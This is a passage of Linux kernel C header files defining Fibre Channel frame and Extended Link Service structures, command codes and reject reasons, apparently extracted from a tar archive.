((i) << 4) #define FC_FC_REL_OFF (1 << 3) /* parameter is relative offset */ #define FC_FC_RES2 (1 << 2) /* reserved */ #define FC_FC_FILL(i) ((i) & 3) /* 1:0: bytes of trailing fill */ /* * BA_ACC payload. */ struct fc_ba_acc { __u8 ba_seq_id_val; /* SEQ_ID validity */ #define FC_BA_SEQ_ID_VAL 0x80 __u8 ba_seq_id; /* SEQ_ID of seq last deliverable */ __u8 ba_resvd[2]; /* reserved */ __be16 ba_ox_id; /* OX_ID for aborted seq or exch */ __be16 ba_rx_id; /* RX_ID for aborted seq or exch */ __be16 ba_low_seq_cnt; /* low SEQ_CNT of aborted seq */ __be16 ba_high_seq_cnt; /* high SEQ_CNT of aborted seq */ }; /* * BA_RJT: Basic Reject payload. */ struct fc_ba_rjt { __u8 br_resvd; /* reserved */ __u8 br_reason; /* reason code */ __u8 br_explan; /* reason explanation */ __u8 br_vendor; /* vendor unique code */ }; /* * BA_RJT reason codes. * From FS-2. */ enum fc_ba_rjt_reason { FC_BA_RJT_NONE = 0, /* in software this means no reject */ FC_BA_RJT_INVL_CMD = 0x01, /* invalid command code */ FC_BA_RJT_LOG_ERR = 0x03, /* logical error */ FC_BA_RJT_LOG_BUSY = 0x05, /* logical busy */ FC_BA_RJT_PROTO_ERR = 0x07, /* protocol error */ FC_BA_RJT_UNABLE = 0x09, /* unable to perform request */ FC_BA_RJT_VENDOR = 0xff, /* vendor-specific (see br_vendor) */ }; /* * BA_RJT reason code explanations. */ enum fc_ba_rjt_explan { FC_BA_RJT_EXP_NONE = 0x00, /* no additional expanation */ FC_BA_RJT_INV_XID = 0x03, /* invalid OX_ID-RX_ID combination */ FC_BA_RJT_ABT = 0x05, /* sequence aborted, no seq info */ }; /* * P_RJT or F_RJT: Port Reject or Fabric Reject parameter field. */ struct fc_pf_rjt { __u8 rj_action; /* reserved */ __u8 rj_reason; /* reason code */ __u8 rj_resvd; /* reserved */ __u8 rj_vendor; /* vendor unique code */ }; /* * P_RJT and F_RJT reject reason codes. */ enum fc_pf_rjt_reason { FC_RJT_NONE = 0, /* non-reject (reserved by standard) */ FC_RJT_INVL_DID = 0x01, /* invalid destination ID */ FC_RJT_INVL_SID = 0x02, /* invalid source ID */ FC_RJT_P_UNAV_T = 0x03, /* port unavailable, temporary */ FC_RJT_P_UNAV = 0x04, /* port unavailable, permanent */ FC_RJT_CLS_UNSUP = 0x05, /* class not supported */ FC_RJT_DEL_USAGE = 0x06, /* delimiter usage error */ FC_RJT_TYPE_UNSUP = 0x07, /* type not supported */ FC_RJT_LINK_CTL = 0x08, /* invalid link control */ FC_RJT_R_CTL = 0x09, /* invalid R_CTL field */ FC_RJT_F_CTL = 0x0a, /* invalid F_CTL field */ FC_RJT_OX_ID = 0x0b, /* invalid originator exchange ID */ FC_RJT_RX_ID = 0x0c, /* invalid responder exchange ID */ FC_RJT_SEQ_ID = 0x0d, /* invalid sequence ID */ FC_RJT_DF_CTL = 0x0e, /* invalid DF_CTL field */ FC_RJT_SEQ_CNT = 0x0f, /* invalid SEQ_CNT field */ FC_RJT_PARAM = 0x10, /* invalid parameter field */ FC_RJT_EXCH_ERR = 0x11, /* exchange error */ FC_RJT_PROTO = 0x12, /* protocol error */ FC_RJT_LEN = 0x13, /* incorrect length */ FC_RJT_UNEXP_ACK = 0x14, /* unexpected ACK */ FC_RJT_FAB_CLASS = 0x15, /* class unsupported by fabric entity */ FC_RJT_LOGI_REQ = 0x16, /* login required */ FC_RJT_SEQ_XS = 0x17, /* excessive sequences attempted */ FC_RJT_EXCH_EST = 0x18, /* unable to establish exchange */ FC_RJT_FAB_UNAV = 0x1a, /* fabric unavailable */ FC_RJT_VC_ID = 0x1b, /* invalid VC_ID (class 4) */ FC_RJT_CS_CTL = 0x1c, /* invalid CS_CTL field */ FC_RJT_INSUF_RES = 0x1d, /* insuff. resources for VC (Class 4) */ FC_RJT_INVL_CLS = 0x1f, /* invalid class of service */ FC_RJT_PREEMT_RJT = 0x20, /* preemption request rejected */ FC_RJT_PREEMT_DIS = 0x21, /* preemption not enabled */ FC_RJT_MCAST_ERR = 0x22, /* multicast error */ FC_RJT_MCAST_ET = 0x23, /* multicast error terminate */ FC_RJT_PRLI_REQ = 0x24, /* process login required */ FC_RJT_INVL_ATT = 0x25, /* invalid attachment */ FC_RJT_VENDOR = 0xff, /* vendor specific reject */ }; /* default timeout values */ #define FC_DEF_E_D_TOV 2000UL #define FC_DEF_R_A_TOV 10000UL #endif /* _FC_FS_H_ */ scsi/fc/fc_els.h 0000644 00000115256 15246445046 0007525 0 ustar 00 /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ /* * Copyright(c) 2007 Intel Corporation. All rights reserved. * * This program is free software; you can redistribute it and/or modify it * under the terms and conditions of the GNU General Public License, * version 2, as published by the Free Software Foundation. * * This program is distributed in the hope it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin St - Fifth Floor, Boston, MA 02110-1301 USA. * * Maintained at www.Open-FCoE.org */ #ifndef _FC_ELS_H_ #define _FC_ELS_H_ #include <linux/types.h> #include <asm/byteorder.h> /* * Fibre Channel Switch - Enhanced Link Services definitions. * From T11 FC-LS Rev 1.2 June 7, 2005. */ /* * ELS Command codes - byte 0 of the frame payload */ enum fc_els_cmd { ELS_LS_RJT = 0x01, /* ESL reject */ ELS_LS_ACC = 0x02, /* ESL Accept */ ELS_PLOGI = 0x03, /* N_Port login */ ELS_FLOGI = 0x04, /* F_Port login */ ELS_LOGO = 0x05, /* Logout */ ELS_ABTX = 0x06, /* Abort exchange - obsolete */ ELS_RCS = 0x07, /* read connection status */ ELS_RES = 0x08, /* read exchange status block */ ELS_RSS = 0x09, /* read sequence status block */ ELS_RSI = 0x0a, /* read sequence initiative */ ELS_ESTS = 0x0b, /* establish streaming */ ELS_ESTC = 0x0c, /* estimate credit */ ELS_ADVC = 0x0d, /* advise credit */ ELS_RTV = 0x0e, /* read timeout value */ ELS_RLS = 0x0f, /* read link error status block */ ELS_ECHO = 0x10, /* echo */ ELS_TEST = 0x11, /* test */ ELS_RRQ = 0x12, /* reinstate recovery qualifier */ ELS_REC = 0x13, /* read exchange concise */ ELS_SRR = 0x14, /* sequence retransmission request */ ELS_FPIN = 0x16, /* Fabric Performance Impact Notification */ ELS_EDC = 0x17, /* Exchange Diagnostic Capabilities */ ELS_RDP = 0x18, /* Read Diagnostic Parameters */ ELS_RDF = 0x19, /* Register Diagnostic Functions */ ELS_PRLI = 0x20, /* process login */ ELS_PRLO = 0x21, /* process logout */ ELS_SCN = 0x22, /* state change notification */ ELS_TPLS = 0x23, /* test process login state */ ELS_TPRLO = 0x24, /* third party process logout */ ELS_LCLM = 0x25, /* login control list mgmt (obs) */ ELS_GAID = 0x30, /* get alias_ID */ ELS_FACT = 0x31, /* fabric activate alias_id */ ELS_FDACDT = 0x32, /* fabric deactivate alias_id */ ELS_NACT = 0x33, /* N-port activate alias_id */ ELS_NDACT = 0x34, /* N-port deactivate alias_id */ ELS_QOSR = 0x40, /* quality of service request */ ELS_RVCS = 0x41, /* read virtual circuit status */ ELS_PDISC = 0x50, /* discover N_port service params */ ELS_FDISC = 0x51, /* discover F_port service params */ ELS_ADISC = 0x52, /* discover address */ ELS_RNC = 0x53, /* report node cap (obs) */ ELS_FARP_REQ = 0x54, /* FC ARP request */ ELS_FARP_REPL = 0x55, /* FC ARP reply */ ELS_RPS = 0x56, /* read port status block */ ELS_RPL = 0x57, /* read port list */ ELS_RPBC = 0x58, /* read port buffer condition */ ELS_FAN = 0x60, /* fabric address notification */ ELS_RSCN = 0x61, /* registered state change notification */ ELS_SCR = 0x62, /* state change registration */ ELS_RNFT = 0x63, /* report node FC-4 types */ ELS_CSR = 0x68, /* clock synch. request */ ELS_CSU = 0x69, /* clock synch. update */ ELS_LINIT = 0x70, /* loop initialize */ ELS_LSTS = 0x72, /* loop status */ ELS_RNID = 0x78, /* request node ID data */ ELS_RLIR = 0x79, /* registered link incident report */ ELS_LIRR = 0x7a, /* link incident record registration */ ELS_SRL = 0x7b, /* scan remote loop */ ELS_SBRP = 0x7c, /* set bit-error reporting params */ ELS_RPSC = 0x7d, /* report speed capabilities */ ELS_QSA = 0x7e, /* query security attributes */ ELS_EVFP = 0x7f, /* exchange virt. fabrics params */ ELS_LKA = 0x80, /* link keep-alive */ ELS_AUTH_ELS = 0x90, /* authentication ELS */ }; /* * Initializer useful for decoding table. * Please keep this in sync with the above definitions. */ #define FC_ELS_CMDS_INIT { \ [ELS_LS_RJT] = "LS_RJT", \ [ELS_LS_ACC] = "LS_ACC", \ [ELS_PLOGI] = "PLOGI", \ [ELS_FLOGI] = "FLOGI", \ [ELS_LOGO] = "LOGO", \ [ELS_ABTX] = "ABTX", \ [ELS_RCS] = "RCS", \ [ELS_RES] = "RES", \ [ELS_RSS] = "RSS", \ [ELS_RSI] = "RSI", \ [ELS_ESTS] = "ESTS", \ [ELS_ESTC] = "ESTC", \ [ELS_ADVC] = "ADVC", \ [ELS_RTV] = "RTV", \ [ELS_RLS] = "RLS", \ [ELS_ECHO] = "ECHO", \ [ELS_TEST] = "TEST", \ [ELS_RRQ] = "RRQ", \ [ELS_REC] = "REC", \ [ELS_SRR] = "SRR", \ [ELS_FPIN] = "FPIN", \ [ELS_EDC] = "EDC", \ [ELS_RDP] = "RDP", \ [ELS_RDF] = "RDF", \ [ELS_PRLI] = "PRLI", \ [ELS_PRLO] = "PRLO", \ [ELS_SCN] = "SCN", \ [ELS_TPLS] = "TPLS", \ [ELS_TPRLO] = "TPRLO", \ [ELS_LCLM] = "LCLM", \ [ELS_GAID] = "GAID", \ [ELS_FACT] = "FACT", \ [ELS_FDACDT] = "FDACDT", \ [ELS_NACT] = "NACT", \ [ELS_NDACT] = "NDACT", \ [ELS_QOSR] = "QOSR", \ [ELS_RVCS] = "RVCS", \ [ELS_PDISC] = "PDISC", \ [ELS_FDISC] = "FDISC", \ [ELS_ADISC] = "ADISC", \ [ELS_RNC] = "RNC", \ [ELS_FARP_REQ] = "FARP_REQ", \ [ELS_FARP_REPL] = "FARP_REPL", \ [ELS_RPS] = "RPS", \ [ELS_RPL] = "RPL", \ [ELS_RPBC] = "RPBC", \ [ELS_FAN] = "FAN", \ [ELS_RSCN] = "RSCN", \ [ELS_SCR] = "SCR", \ [ELS_RNFT] = "RNFT", \ [ELS_CSR] = "CSR", \ [ELS_CSU] = "CSU", \ [ELS_LINIT] = "LINIT", \ [ELS_LSTS] = "LSTS", \ [ELS_RNID] = "RNID", \ [ELS_RLIR] = "RLIR", \ [ELS_LIRR] = "LIRR", \ [ELS_SRL] = "SRL", \ [ELS_SBRP] = "SBRP", \ [ELS_RPSC] = "RPSC", \ [ELS_QSA] = "QSA", \ [ELS_EVFP] = "EVFP", \ [ELS_LKA] = "LKA", \ [ELS_AUTH_ELS] = "AUTH_ELS", \ } /* * LS_ACC payload. */ struct fc_els_ls_acc { __u8 la_cmd; /* command code ELS_LS_ACC */ __u8 la_resv[3]; /* reserved */ }; /* * ELS reject payload. */ struct fc_els_ls_rjt { __u8 er_cmd; /* command code ELS_LS_RJT */ __u8 er_resv[4]; /* reserved must be zero */ __u8 er_reason; /* reason (enum fc_els_rjt_reason below) */ __u8 er_explan; /* explanation (enum fc_els_rjt_explan below) */ __u8 er_vendor; /* vendor specific code */ }; /* * ELS reject reason codes (er_reason). */ enum fc_els_rjt_reason { ELS_RJT_NONE = 0, /* no reject - not to be sent */ ELS_RJT_INVAL = 0x01, /* invalid ELS command code */ ELS_RJT_LOGIC = 0x03, /* logical error */ ELS_RJT_BUSY = 0x05, /* logical busy */ ELS_RJT_PROT = 0x07, /* protocol error */ ELS_RJT_UNAB = 0x09, /* unable to perform command request */ ELS_RJT_UNSUP = 0x0b, /* command not supported */ ELS_RJT_INPROG = 0x0e, /* command already in progress */ ELS_RJT_FIP = 0x20, /* FIP error */ ELS_RJT_VENDOR = 0xff, /* vendor specific error */ }; /* * reason code explanation (er_explan). */ enum fc_els_rjt_explan { ELS_EXPL_NONE = 0x00, /* No additional explanation */ ELS_EXPL_SPP_OPT_ERR = 0x01, /* service parameter error - options */ ELS_EXPL_SPP_ICTL_ERR = 0x03, /* service parm error - initiator ctl */ ELS_EXPL_AH = 0x11, /* invalid association header */ ELS_EXPL_AH_REQ = 0x13, /* association_header required */ ELS_EXPL_SID = 0x15, /* invalid originator S_ID */ ELS_EXPL_OXID_RXID = 0x17, /* invalid OX_ID-RX_ID combination */ ELS_EXPL_INPROG = 0x19, /* Request already in progress */ ELS_EXPL_PLOGI_REQD = 0x1e, /* N_Port login required */ ELS_EXPL_INSUF_RES = 0x29, /* insufficient resources */ ELS_EXPL_UNAB_DATA = 0x2a, /* unable to supply requested data */ ELS_EXPL_UNSUPR = 0x2c, /* Request not supported */ ELS_EXPL_INV_LEN = 0x2d, /* Invalid payload length */ ELS_EXPL_NOT_NEIGHBOR = 0x62, /* VN2VN_Port not in neighbor set */ /* TBD - above definitions incomplete */ }; /* * Link Service TLV Descriptor Tag Values */ enum fc_ls_tlv_dtag { ELS_DTAG_LS_REQ_INFO = 0x00000001, /* Link Service Request Information Descriptor */ ELS_DTAG_LNK_FAULT_CAP = 0x0001000D, /* Link Fault Capability Descriptor */ ELS_DTAG_CG_SIGNAL_CAP = 0x0001000F, /* Congestion Signaling Capability Descriptor */ ELS_DTAG_LNK_INTEGRITY = 0x00020001, /* Link Integrity Notification Descriptor */ ELS_DTAG_DELIVERY = 0x00020002, /* Delivery Notification Descriptor */ ELS_DTAG_PEER_CONGEST = 0x00020003, /* Peer Congestion Notification Descriptor */ ELS_DTAG_CONGESTION = 0x00020004, /* Congestion Notification Descriptor */ ELS_DTAG_FPIN_REGISTER = 0x00030001, /* FPIN Registration Descriptor */ }; /* * Initializer useful for decoding table. * Please keep this in sync with the above definitions. */ #define FC_LS_TLV_DTAG_INIT { \ { ELS_DTAG_LS_REQ_INFO, "Link Service Request Information" }, \ { ELS_DTAG_LNK_FAULT_CAP, "Link Fault Capability" }, \ { ELS_DTAG_CG_SIGNAL_CAP, "Congestion Signaling Capability" }, \ { ELS_DTAG_LNK_INTEGRITY, "Link Integrity Notification" }, \ { ELS_DTAG_DELIVERY, "Delivery Notification Present" }, \ { ELS_DTAG_PEER_CONGEST, "Peer Congestion Notification" }, \ { ELS_DTAG_CONGESTION, "Congestion Notification" }, \ { ELS_DTAG_FPIN_REGISTER, "FPIN Registration" }, \ } /* * Generic Link Service TLV Descriptor format * * This structure, as it defines no payload, will also be referred to * as the "tlv header" - which contains the tag and len fields. */ struct fc_tlv_desc { __be32 desc_tag; /* Notification Descriptor Tag */ __be32 desc_len; /* Length of Descriptor (in bytes). * Size of descriptor excluding * desc_tag and desc_len fields. */ __u8 desc_value[0]; /* Descriptor Value */ }; /* Descriptor tag and len fields are considered the mandatory header * for a descriptor */ #define FC_TLV_DESC_HDR_SZ sizeof(struct fc_tlv_desc) /* * Macro, used when initializing payloads, to return the descriptor length. * Length is size of descriptor minus the tag and len fields. */ #define FC_TLV_DESC_LENGTH_FROM_SZ(desc) \ (sizeof(desc) - FC_TLV_DESC_HDR_SZ) /* Macro, used on received payloads, to return the descriptor length */ #define FC_TLV_DESC_SZ_FROM_LENGTH(tlv) \ (__be32_to_cpu((tlv)->desc_len) + FC_TLV_DESC_HDR_SZ) /* * This helper is used to walk descriptors in a descriptor list. * Given the address of the current descriptor, which minimally contains a * tag and len field, calculate the address of the next descriptor based * on the len field. */ static __inline__ void *fc_tlv_next_desc(void *desc) { struct fc_tlv_desc *tlv = desc; return (desc + FC_TLV_DESC_SZ_FROM_LENGTH(tlv)); } /* * Link Service Request Information Descriptor */ struct fc_els_lsri_desc { __be32 desc_tag; /* descriptor tag (0x0000 0001) */ __be32 desc_len; /* Length of Descriptor (in bytes) (4). * Size of descriptor excluding * desc_tag and desc_len fields. */ struct { __u8 cmd; /* ELS cmd byte */ __u8 bytes[3]; /* bytes 1..3 */ } rqst_w0; /* Request word 0 */ }; /* * Common service parameters (N ports). */ struct fc_els_csp { __u8 sp_hi_ver; /* highest version supported (obs.) */ __u8 sp_lo_ver; /* highest version supported (obs.) */ __be16 sp_bb_cred; /* buffer-to-buffer credits */ __be16 sp_features; /* common feature flags */ __be16 sp_bb_data; /* b-b state number and data field sz */ union { struct { __be16 _sp_tot_seq; /* total concurrent sequences */ __be16 _sp_rel_off; /* rel. offset by info cat */ } sp_plogi; struct { __be32 _sp_r_a_tov; /* resource alloc. timeout msec */ } sp_flogi_acc; } sp_u; __be32 sp_e_d_tov; /* error detect timeout value */ }; #define sp_tot_seq sp_u.sp_plogi._sp_tot_seq #define sp_rel_off sp_u.sp_plogi._sp_rel_off #define sp_r_a_tov sp_u.sp_flogi_acc._sp_r_a_tov #define FC_SP_BB_DATA_MASK 0xfff /* mask for data field size in sp_bb_data */ /* * Minimum and maximum values for max data field size in service parameters. */ #define FC_SP_MIN_MAX_PAYLOAD FC_MIN_MAX_PAYLOAD #define FC_SP_MAX_MAX_PAYLOAD FC_MAX_PAYLOAD /* * sp_features */ #define FC_SP_FT_NPIV 0x8000 /* multiple N_Port_ID support (FLOGI) */ #define FC_SP_FT_CIRO 0x8000 /* continuously increasing rel off (PLOGI) */ #define FC_SP_FT_CLAD 0x8000 /* clean address (in FLOGI LS_ACC) */ #define FC_SP_FT_RAND 0x4000 /* random relative offset */ #define FC_SP_FT_VAL 0x2000 /* valid vendor version level */ #define FC_SP_FT_NPIV_ACC 0x2000 /* NPIV assignment (FLOGI LS_ACC) */ #define FC_SP_FT_FPORT 0x1000 /* F port (1) vs. N port (0) */ #define FC_SP_FT_ABB 0x0800 /* alternate BB_credit management */ #define FC_SP_FT_EDTR 0x0400 /* E_D_TOV Resolution is nanoseconds */ #define FC_SP_FT_MCAST 0x0200 /* multicast */ #define FC_SP_FT_BCAST 0x0100 /* broadcast */ #define FC_SP_FT_HUNT 0x0080 /* hunt group */ #define FC_SP_FT_SIMP 0x0040 /* dedicated simplex */ #define FC_SP_FT_SEC 0x0020 /* reserved for security */ #define FC_SP_FT_CSYN 0x0010 /* clock synch. supported */ #define FC_SP_FT_RTTOV 0x0008 /* R_T_TOV value 100 uS, else 100 mS */ #define FC_SP_FT_HALF 0x0004 /* dynamic half duplex */ #define FC_SP_FT_SEQC 0x0002 /* SEQ_CNT */ #define FC_SP_FT_PAYL 0x0001 /* FLOGI payload length 256, else 116 */ /* * Class-specific service parameters. */ struct fc_els_cssp { __be16 cp_class; /* class flags */ __be16 cp_init; /* initiator flags */ __be16 cp_recip; /* recipient flags */ __be16 cp_rdfs; /* receive data field size */ __be16 cp_con_seq; /* concurrent sequences */ __be16 cp_ee_cred; /* N-port end-to-end credit */ __u8 cp_resv1; /* reserved */ __u8 cp_open_seq; /* open sequences per exchange */ __u8 _cp_resv2[2]; /* reserved */ }; /* * cp_class flags. */ #define FC_CPC_VALID 0x8000 /* class valid */ #define FC_CPC_IMIX 0x4000 /* intermix mode */ #define FC_CPC_SEQ 0x0800 /* sequential delivery */ #define FC_CPC_CAMP 0x0200 /* camp-on */ #define FC_CPC_PRI 0x0080 /* priority */ /* * cp_init flags. * (TBD: not all flags defined here). */ #define FC_CPI_CSYN 0x0010 /* clock synch. capable */ /* * cp_recip flags. */ #define FC_CPR_CSYN 0x0008 /* clock synch. capable */ /* * NFC_ELS_FLOGI: Fabric login request. * NFC_ELS_PLOGI: Port login request (same format). */ struct fc_els_flogi { __u8 fl_cmd; /* command */ __u8 _fl_resvd[3]; /* must be zero */ struct fc_els_csp fl_csp; /* common service parameters */ __be64 fl_wwpn; /* port name */ __be64 fl_wwnn; /* node name */ struct fc_els_cssp fl_cssp[4]; /* class 1-4 service parameters */ __u8 fl_vend[16]; /* vendor version level */ } __attribute__((__packed__)); /* * Process login service parameter page. */ struct fc_els_spp { __u8 spp_type; /* type code or common service params */ __u8 spp_type_ext; /* type code extension */ __u8 spp_flags; __u8 _spp_resvd; __be32 spp_orig_pa; /* originator process associator */ __be32 spp_resp_pa; /* responder process associator */ __be32 spp_params; /* service parameters */ }; /* * spp_flags. */ #define FC_SPP_OPA_VAL 0x80 /* originator proc. assoc. valid */ #define FC_SPP_RPA_VAL 0x40 /* responder proc. assoc. valid */ #define FC_SPP_EST_IMG_PAIR 0x20 /* establish image pair */ #define FC_SPP_RESP_MASK 0x0f /* mask for response code (below) */ /* * SPP response code in spp_flags - lower 4 bits. */ enum fc_els_spp_resp { FC_SPP_RESP_ACK = 1, /* request executed */ FC_SPP_RESP_RES = 2, /* unable due to lack of resources */ FC_SPP_RESP_INIT = 3, /* initialization not complete */ FC_SPP_RESP_NO_PA = 4, /* unknown process associator */ FC_SPP_RESP_CONF = 5, /* configuration precludes image pair */ FC_SPP_RESP_COND = 6, /* request completed conditionally */ FC_SPP_RESP_MULT = 7, /* unable to handle multiple SPPs */ FC_SPP_RESP_INVL = 8, /* SPP is invalid */ }; /* * ELS_RRQ - Reinstate Recovery Qualifier */ struct fc_els_rrq { __u8 rrq_cmd; /* command (0x12) */ __u8 rrq_zero[3]; /* specified as zero - part of cmd */ __u8 rrq_resvd; /* reserved */ __u8 rrq_s_id[3]; /* originator FID */ __be16 rrq_ox_id; /* originator exchange ID */ __be16 rrq_rx_id; /* responders exchange ID */ }; /* * ELS_REC - Read exchange concise. */ struct fc_els_rec { __u8 rec_cmd; /* command (0x13) */ __u8 rec_zero[3]; /* specified as zero - part of cmd */ __u8 rec_resvd; /* reserved */ __u8 rec_s_id[3]; /* originator FID */ __be16 rec_ox_id; /* originator exchange ID */ __be16 rec_rx_id; /* responders exchange ID */ }; /* * ELS_REC LS_ACC payload. */ struct fc_els_rec_acc { __u8 reca_cmd; /* accept (0x02) */ __u8 reca_zero[3]; /* specified as zero - part of cmd */ __be16 reca_ox_id; /* originator exchange ID */ __be16 reca_rx_id; /* responders exchange ID */ __u8 reca_resvd1; /* reserved */ __u8 reca_ofid[3]; /* originator FID */ __u8 reca_resvd2; /* reserved */ __u8 reca_rfid[3]; /* responder FID */ __be32 reca_fc4value; /* FC4 value */ __be32 reca_e_stat; /* ESB (exchange status block) status */ }; /* * ELS_PRLI - Process login request and response. */ struct fc_els_prli { __u8 prli_cmd; /* command */ __u8 prli_spp_len; /* length of each serv. parm. page */ __be16 prli_len; /* length of entire payload */ /* service parameter pages follow */ }; /* * ELS_PRLO - Process logout request and response. */ struct fc_els_prlo { __u8 prlo_cmd; /* command */ __u8 prlo_obs; /* obsolete, but shall be set to 10h */ __be16 prlo_len; /* payload length */ }; /* * ELS_ADISC payload */ struct fc_els_adisc { __u8 adisc_cmd; __u8 adisc_resv[3]; __u8 adisc_resv1; __u8 adisc_hard_addr[3]; __be64 adisc_wwpn; __be64 adisc_wwnn; __u8 adisc_resv2; __u8 adisc_port_id[3]; } __attribute__((__packed__)); /* * ELS_LOGO - process or fabric logout. */ struct fc_els_logo { __u8 fl_cmd; /* command code */ __u8 fl_zero[3]; /* specified as zero - part of cmd */ __u8 fl_resvd; /* reserved */ __u8 fl_n_port_id[3];/* N port ID */ __be64 fl_n_port_wwn; /* port name */ }; /* * ELS_RTV - read timeout value. */ struct fc_els_rtv { __u8 rtv_cmd; /* command code 0x0e */ __u8 rtv_zero[3]; /* specified as zero - part of cmd */ }; /* * LS_ACC for ELS_RTV - read timeout value. */ struct fc_els_rtv_acc { __u8 rtv_cmd; /* command code 0x02 */ __u8 rtv_zero[3]; /* specified as zero - part of cmd */ __be32 rtv_r_a_tov; /* resource allocation timeout value */ __be32 rtv_e_d_tov; /* error detection timeout value */ __be32 rtv_toq; /* timeout qualifier (see below) */ }; /* * rtv_toq bits. */ #define FC_ELS_RTV_EDRES (1 << 26) /* E_D_TOV resolution is nS else mS */ #define FC_ELS_RTV_RTTOV (1 << 19) /* R_T_TOV is 100 uS else 100 mS */ /* * ELS_SCR - state change registration payload. */ struct fc_els_scr { __u8 scr_cmd; /* command code */ __u8 scr_resv[6]; /* reserved */ __u8 scr_reg_func; /* registration function (see below) */ }; enum fc_els_scr_func { ELS_SCRF_FAB = 1, /* fabric-detected registration */ ELS_SCRF_NPORT = 2, /* Nx_Port-detected registration */ ELS_SCRF_FULL = 3, /* full registration */ ELS_SCRF_CLEAR = 255, /* remove any current registrations */ }; /* * ELS_RSCN - registered state change notification payload. */ struct fc_els_rscn { __u8 rscn_cmd; /* RSCN opcode (0x61) */ __u8 rscn_page_len; /* page length (4) */ __be16 rscn_plen; /* payload length including this word */ /* followed by 4-byte generic affected Port_ID pages */ }; struct fc_els_rscn_page { __u8 rscn_page_flags; /* event and address format */ __u8 rscn_fid[3]; /* fabric ID */ }; #define ELS_RSCN_EV_QUAL_BIT 2 /* shift count for event qualifier */ #define ELS_RSCN_EV_QUAL_MASK 0xf /* mask for event qualifier */ #define ELS_RSCN_ADDR_FMT_BIT 0 /* shift count for address format */ #define ELS_RSCN_ADDR_FMT_MASK 0x3 /* mask for address format */ enum fc_els_rscn_ev_qual { ELS_EV_QUAL_NONE = 0, /* unspecified */ ELS_EV_QUAL_NS_OBJ = 1, /* changed name server object */ ELS_EV_QUAL_PORT_ATTR = 2, /* changed port attribute */ ELS_EV_QUAL_SERV_OBJ = 3, /* changed service object */ ELS_EV_QUAL_SW_CONFIG = 4, /* changed switch configuration */ ELS_EV_QUAL_REM_OBJ = 5, /* removed object */ }; enum fc_els_rscn_addr_fmt { ELS_ADDR_FMT_PORT = 0, /* rscn_fid is a port address */ ELS_ADDR_FMT_AREA = 1, /* rscn_fid is a area address */ ELS_ADDR_FMT_DOM = 2, /* rscn_fid is a domain address */ ELS_ADDR_FMT_FAB = 3, /* anything on fabric may have changed */ }; /* * ELS_RNID - request Node ID. */ struct fc_els_rnid { __u8 rnid_cmd; /* RNID opcode (0x78) */ __u8 rnid_resv[3]; /* reserved */ __u8 rnid_fmt; /* data format */ __u8 rnid_resv2[3]; /* reserved */ }; /* * Node Identification Data formats (rnid_fmt) */ enum fc_els_rnid_fmt { ELS_RNIDF_NONE = 0, /* no specific identification data */ ELS_RNIDF_GEN = 0xdf, /* general topology discovery format */ }; /* * ELS_RNID response. */ struct fc_els_rnid_resp { __u8 rnid_cmd; /* response code (LS_ACC) */ __u8 rnid_resv[3]; /* reserved */ __u8 rnid_fmt; /* data format */ __u8 rnid_cid_len; /* common ID data length */ __u8 rnid_resv2; /* reserved */ __u8 rnid_sid_len; /* specific ID data length */ }; struct fc_els_rnid_cid { __be64 rnid_wwpn; /* N port name */ __be64 rnid_wwnn; /* node name */ }; struct fc_els_rnid_gen { __u8 rnid_vend_id[16]; /* vendor-unique ID */ __be32 rnid_atype; /* associated type (see below) */ __be32 rnid_phys_port; /* physical port number */ __be32 rnid_att_nodes; /* number of attached nodes */ __u8 rnid_node_mgmt; /* node management (see below) */ __u8 rnid_ip_ver; /* IP version (see below) */ __be16 rnid_prot_port; /* UDP / TCP port number */ __be32 rnid_ip_addr[4]; /* IP address */ __u8 rnid_resvd[2]; /* reserved */ __be16 rnid_vend_spec; /* vendor-specific field */ }; enum fc_els_rnid_atype { ELS_RNIDA_UNK = 0x01, /* unknown */ ELS_RNIDA_OTHER = 0x02, /* none of the following */ ELS_RNIDA_HUB = 0x03, ELS_RNIDA_SWITCH = 0x04, ELS_RNIDA_GATEWAY = 0x05, ELS_RNIDA_CONV = 0x06, /* Obsolete, do not use this value */ ELS_RNIDA_HBA = 0x07, /* Obsolete, do not use this value */ ELS_RNIDA_PROXY = 0x08, /* Obsolete, do not use this value */ ELS_RNIDA_STORAGE = 0x09, ELS_RNIDA_HOST = 0x0a, ELS_RNIDA_SUBSYS = 0x0b, /* storage subsystem (e.g., RAID) */ ELS_RNIDA_ACCESS = 0x0e, /* access device (e.g. media changer) */ ELS_RNIDA_NAS = 0x11, /* NAS server */ ELS_RNIDA_BRIDGE = 0x12, /* bridge */ ELS_RNIDA_VIRT = 0x13, /* virtualization device */ ELS_RNIDA_MF = 0xff, /* multifunction device (bits below) */ ELS_RNIDA_MF_HUB = 1UL << 31, /* hub */ ELS_RNIDA_MF_SW = 1UL << 30, /* switch */ ELS_RNIDA_MF_GW = 1UL << 29, /* gateway */ ELS_RNIDA_MF_ST = 1UL << 28, /* storage */ ELS_RNIDA_MF_HOST = 1UL << 27, /* host */ ELS_RNIDA_MF_SUB = 1UL << 26, /* storage subsystem */ ELS_RNIDA_MF_ACC = 1UL << 25, /* storage access dev */ ELS_RNIDA_MF_WDM = 1UL << 24, /* wavelength division mux */ ELS_RNIDA_MF_NAS = 1UL << 23, /* NAS server */ ELS_RNIDA_MF_BR = 1UL << 22, /* bridge */ ELS_RNIDA_MF_VIRT = 1UL << 21, /* virtualization device */ }; enum fc_els_rnid_mgmt { ELS_RNIDM_SNMP = 0, ELS_RNIDM_TELNET = 1, ELS_RNIDM_HTTP = 2, ELS_RNIDM_HTTPS = 3, ELS_RNIDM_XML = 4, /* HTTP + XML */ }; enum fc_els_rnid_ipver { ELS_RNIDIP_NONE = 0, /* no IP support or node mgmt. */ ELS_RNIDIP_V4 = 1, /* IPv4 */ ELS_RNIDIP_V6 = 2, /* IPv6 */ }; /* * ELS RPL - Read Port List. */ struct fc_els_rpl { __u8 rpl_cmd; /* command */ __u8 rpl_resv[5]; /* reserved - must be zero */ __be16 rpl_max_size; /* maximum response size or zero */ __u8 rpl_resv1; /* reserved - must be zero */ __u8 rpl_index[3]; /* starting index */ }; /* * Port number block in RPL response. */ struct fc_els_pnb { __be32 pnb_phys_pn; /* physical port number */ __u8 pnb_resv; /* reserved */ __u8 